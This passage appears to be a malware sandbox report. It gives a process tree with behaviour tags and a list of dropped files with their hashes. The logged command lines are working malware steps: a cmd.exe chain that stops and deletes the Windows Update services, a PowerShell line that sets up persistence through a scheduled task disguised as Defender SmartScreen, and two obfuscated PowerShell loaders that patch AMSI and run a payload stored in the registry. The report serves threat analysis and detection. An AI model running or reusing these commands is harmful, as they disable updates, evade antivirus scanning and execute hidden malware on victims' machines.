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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4596
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4392
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:504
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:708
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1680
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3272
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1760
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2172
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2592
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4124
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4636
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2628
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2556
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2316
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2072
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1476
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1260
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1116
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:fzPXVGMenikM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wBfoRgrtuFhOUF,[Parameter(Position=1)][Type]$ECNoIMRlAA)$cvanvExpmwm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+'l'+''+'e'+'ct'+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'emo'+[Char](114)+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'T'+[Char](121)+'pe',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](83)+''+'e'+''+'a'+''+'l'+''+'e'+''+'d'+','+'A'+''+[Char](110)+''+'s'+'iC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+'C'+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$cvanvExpmwm.DefineConstructor('R'+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+''+','+''+'H'+''+'i'+''+'d'+'e'+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$wBfoRgrtuFhOUF).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+'g'+''+'e'+'d');$cvanvExpmwm.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+'k'+[Char](101)+'',''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+'V'+''+'i'+'r'+'t'+''+'u'+''+[Char](97)+''+[Char](108)+'',$ECNoIMRlAA,$wBfoRgrtuFhOUF).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'im'+'e'+''+','+'M'+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+''+'d'+'');Write-Output $cvanvExpmwm.CreateType();}$mJgMhadcpoeWm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+''+'o'+'so'+'f'+''+'t'+'.'+'W'+''+'i'+''+[Char](110)+'32'+[Char](46)+''+'U'+''+'n'+''+'s'+''+[Char](97)+'f'+[Char](101)+''+[Char](109)+''+[Char](74)+''+[Char](103)+''+[Char](77)+''+[Char](104)+'ad'+[Char](99)+''+'p'+''+'o'+''+[Char](101)+''+[Char](87)+''+[Char](109)+'');$EJagUhnwmUXQNA=$mJgMhadcpoeWm.GetMethod(''+'E'+''+'J'+''+[Char](97)+'gUh'+'n'+''+[Char](119)+''+'m'+''+[Char](85)+'X'+[Char](81)+''+[Char](78)+''+[Char](65)+'',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'t'+'a'+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HeQSVyoJmzWEgLgCyvY=fzPXVGMenikM @([String])([IntPtr]);$vRxlJcTUNIxdaUZzcMVXSO=fzPXVGMenikM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$netsAxdSjSw=$mJgMhadcpoeWm.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'M'+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+'3'+[Char](50)+'.d'+[Char](108)+'l')));$GioJtanmfWwaxx=$EJagUhnwmUXQNA.Invoke($Null,@([Object]$netsAxdSjSw,[Object](''+'L'+'oa'+'d'+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+'yA')));$VvkPJNyzxJvGOKRHm=$EJagUhnwmUXQNA.Invoke($Null,@([Object]$netsAxdSjSw,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+'ect')));$duXurVP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GioJtanmfWwaxx,$HeQSVyoJmzWEgLgCyvY).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'dll');$alMLwZnAmZsqKUFsY=$EJagUhnwmUXQNA.Invoke($Null,@([Object]$duXurVP,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+'ca'+'n'+''+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$aQvFyBOOLN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VvkPJNyzxJvGOKRHm,$vRxlJcTUNIxdaUZzcMVXSO).Invoke($alMLwZnAmZsqKUFsY,[uint32]8,4,[ref]$aQvFyBOOLN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$alMLwZnAmZsqKUFsY,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VvkPJNyzxJvGOKRHm,$vRxlJcTUNIxdaUZzcMVXSO).Invoke($alMLwZnAmZsqKUFsY,[uint32]8,0x20,[ref]$aQvFyBOOLN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue('d'+'i'+''+[Char](97)+'l'+'e'+'r'+'s'+''+[Char](116)+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3220
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:xmmVwzEiWMzQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rXGahGyzVhqHer,[Parameter(Position=1)][Type]$uRsCQfulzG)$zppCdzAkOJG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'le'+'c'+'te'+'d'+''+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+'M'+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+'e'+''+[Char](108)+'eg'+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+','+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+'e'+[Char](97)+'l'+[Char](101)+'d'+','+'A'+[Char](110)+''+'s'+''+'i'+'C'+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+'A'+'u'+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$zppCdzAkOJG.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+'lN'+'a'+''+'m'+''+[Char](101)+',Hide'+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$rXGahGyzVhqHer).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+''+'m'+'e'+[Char](44)+'M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$zppCdzAkOJG.DefineMethod(''+[Char](73)+'nv'+[Char](111)+''+[Char](107)+'e',''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+'c,H'+[Char](105)+'d'+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+'t'+''+'u'+'a'+[Char](108)+'',$uRsCQfulzG,$rXGahGyzVhqHer).SetImplementationFlags(''+[Char](82)+'un'+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+'g'+'e'+''+'d'+'');Write-Output $zppCdzAkOJG.CreateType();}$kfixiWbgKeIgf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+'r'+''+[Char](111)+''+'s'+''+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](107)+'fi'+'x'+'i'+[Char](87)+''+'b'+''+'g'+''+[Char](75)+''+[Char](101)+'I'+[Char](103)+'f');$mYBesQBbEqXyqq=$kfixiWbgKeIgf.GetMethod(''+[Char](109)+''+'Y'+''+[Char](66)+''+[Char](101)+''+'s'+''+'Q'+'B'+'b'+''+'E'+''+[Char](113)+''+[Char](88)+''+[Char](121)+'q'+[Char](113)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+[Char](83)+''+[Char](116)+'a'+[Char](116)+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ugYmahosJfnTVsgiRlo=xmmVwzEiWMzQ @([String])([IntPtr]);$oOEeIzoJbWezzZNtTGLirq=xmmVwzEiWMzQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$blmNSiMzrUv=$kfixiWbgKeIgf.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+'e'+[Char](72)+'a'+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+'e'+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')));$vCxYDjZFdOVUfm=$mYBesQBbEqXyqq.Invoke($Null,@([Object]$blmNSiMzrUv,[Object](''+[Char](76)+''+'o'+'a'+[Char](100)+''+'L'+''+[Char](105)+'b'+[Char](114)+'a'+'r'+''+[Char](121)+''+'A'+'')));$zeEfVVgUJweuWHybr=$mYBesQBbEqXyqq.Invoke($Null,@([Object]$blmNSiMzrUv,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l'+[Char](80)+''+[Char](114)+'ot'+[Char](101)+'c'+'t'+'')));$JMCGAcv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vCxYDjZFdOVUfm,$ugYmahosJfnTVsgiRlo).Invoke(''+'a'+'msi'+[Char](46)+'dl'+[Char](108)+'');$XgpuqunIFcDFOqRVs=$mYBesQBbEqXyqq.Invoke($Null,@([Object]$JMCGAcv,[Object]('A'+'m'+''+'s'+''+[Char](105)+'Sc'+[Char](97)+'n'+[Char](66)+'u'+'f'+''+[Char](102)+''+'e'+''+'r'+'')));$vHVsrVrEUU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zeEfVVgUJweuWHybr,$oOEeIzoJbWezzZNtTGLirq).Invoke($XgpuqunIFcDFOqRVs,[uint32]8,4,[ref]$vHVsrVrEUU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XgpuqunIFcDFOqRVs,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zeEfVVgUJweuWHybr,$oOEeIzoJbWezzZNtTGLirq).Invoke($XgpuqunIFcDFOqRVs,[uint32]8,0x20,[ref]$vHVsrVrEUU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+[Char](101)+'rs'+'t'+'age'+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 4724 -ip 47241⤵PID:4396
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1180 -ip 11801⤵PID:3704
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
226B
MD5916851e072fbabc4796d8916c5131092
SHA1d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA2567e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA51207ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
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Filesize
19KB
MD584f7c4f84fe0eafe2f4acdfdda5f6dce
SHA14118a78ff59a922d03523a257d46d2f77a0a9cab
SHA25638c311166d72c5b554b86258fea00325324ec00d0c7882218594120271fbf06a
SHA512b1eb54175e0eb21b9f6f1116ae906935e2b16e9980db5478866a72eeecd71d48d5ae5315e77ab5db0f3edb7c4d7313cb1485d9a47f6c31957b337686ab1f1f19
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17